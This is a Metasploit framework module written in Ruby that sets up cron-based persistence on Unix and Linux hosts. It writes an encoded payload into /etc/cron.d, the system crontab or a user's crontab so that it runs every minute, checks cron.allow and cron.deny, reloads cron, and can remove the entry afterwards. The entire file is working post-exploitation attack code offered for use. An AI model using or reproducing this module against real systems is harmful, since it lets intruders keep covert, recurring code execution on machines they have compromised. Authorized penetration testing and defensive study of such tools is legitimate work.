## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::File include Msf::Post::Unix include Msf::Exploit::FileDropper def initialize(info = {}) super( update_info( info, 'Name' => 'Cron Persistence', 'Description' => %q( This module will create a cron or crontab entry to execute a payload. The module includes the ability to automatically clean up those entries to prevent multiple executions. syslog will get a copy of the cron entry. ), 'License' => MSF_LICENSE, 'Author' => [ 'h00die ' ], 'Platform' => ['unix', 'linux'], 'Targets' => [ [ 'Cron', { :path => '/etc/cron.d' } ], [ 'User Crontab', { :path => '/var/spool/cron' } ], [ 'System Crontab', { :path => '/etc' } ] ], 'DefaultTarget' => 1, 'Arch' => ARCH_CMD, 'Payload' => { 'BadChars' => "#%\x10\x13", # is for comments, % is for newline 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic perl ruby python' } }, 'DefaultOptions' => { 'WfsDelay' => 90 }, 'DisclosureDate' => "Jul 1 1979" # Version 7 Unix release date (first cron implementation) ) ) register_options( [ OptString.new('USERNAME', [false, 'User to run cron/crontab as', 'root']), OptString.new('TIMING', [false, 'cron timing. Changing will require WfsDelay to be adjusted', '* * * * *']), OptBool.new('CLEANUP', [true, 'delete cron entry after execution', true]) ], self.class ) end def exploit # https://gist.github.com/istvanp/310203 for cron regex validator cron_regex = '(\*|[0-5]?[0-9]|\*\/[0-9]+)\s+' cron_regex << '(\*|1?[0-9]|2[0-3]|\*\/[0-9]+)\s+' cron_regex << '(\*|[1-2]?[0-9]|3[0-1]|\*\/[0-9]+)\s+' cron_regex << '(\*|[0-9]|1[0-2]|\*\/[0-9]+|jan|feb|mar|apr|may|jun|jul|aug|sep|oct|nov|dec)\s+' cron_regex << '(\*\/[0-9]+|\*|[0-7]|sun|mon|tue|wed|thu|fri|sat)' # \s* # cron_regex << '(\*\/[0-9]+|\*|[0-9]+)?' unless datastore['TIMING'] =~ /#{cron_regex}/ fail_with(Failure::BadConfig, 'Invalid timing format') end cron_entry = datastore['TIMING'] if target.name.include? 'User Crontab' unless user_cron_permission?(datastore['USERNAME']) fail_with(Failure::NoAccess, 'User denied cron via cron.deny') end else cron_entry += " #{datastore['USERNAME']}" end flag = Rex::Text.rand_text_alpha(10) cron_entry += " #{payload.encoded} ##{flag}" # we add a flag to the end of the entry to potentially delete it later case target.name when 'Cron' our_entry = Rex::Text.rand_text_alpha(10) write_file("#{target.opts[:path]}/#{our_entry}", "#{cron_entry}\n") vprint_good("Writing #{cron_entry} to #{target.opts[:path]}/#{our_entry}") if datastore['CLEANUP'] register_file_for_cleanup("#{target.opts[:path]}/#{our_entry}") end when 'System Crontab' file_to_clean = "#{target.opts[:path]}/crontab" append_file(file_to_clean, "\n#{cron_entry}\n") vprint_good("Writing #{cron_entry} to #{file_to_clean}") when 'User Crontab' file_to_clean = "#{target.opts[:path]}/crontabs/#{datastore['USERNAME']}" append_file(file_to_clean, "\n#{cron_entry}\n") vprint_good("Writing #{cron_entry} to #{file_to_clean}") # at least on ubuntu, we need to reload cron to get this to work vprint_status('Reloading cron to pickup new entry') cmd_exec("service cron reload") end print_status("Waiting #{datastore['WfsDelay']}sec for execution") Rex.sleep(datastore['WfsDelay'].to_i) # we may need to do some cleanup, no need for cron since that uses file dropper # we could run this on a on_successful_session, but we want cleanup even if it fails if file_to_clean && flag && datastore['CLEANUP'] print_status("Removing our cron entry from #{file_to_clean}") cmd_exec("sed '/#{flag}$/d' #{file_to_clean} > #{file_to_clean}.new") cmd_exec("mv #{file_to_clean}.new #{file_to_clean}") # replaced cmd_exec("perl -pi -e 's/.*#{flag}$//g' #{file_to_clean}") in favor of sed if target.name == 'User Crontab' # make sure we clean out of memory cmd_exec("service cron reload") end end end def user_cron_permission?(user) # double check we're allowed to do cron # may also be /etc/cron.d/ paths = ['/etc/', '/etc/cron.d/'] paths.each do |path| cron_auth = read_file("#{path}cron.allow") if cron_auth if cron_auth =~ /^ALL$/ || cron_auth =~ /^#{Regexp.escape(user)}$/ vprint_good("User located in #{path}cron.allow") return true end end cron_auths = read_file("#{path}cron.deny") if cron_auths && cron_auth =~ /^#{Regexp.escape(user)}$/ vprint_error("User located in #{path}cron.deny") return false end end # no guidance, so we should be fine true end end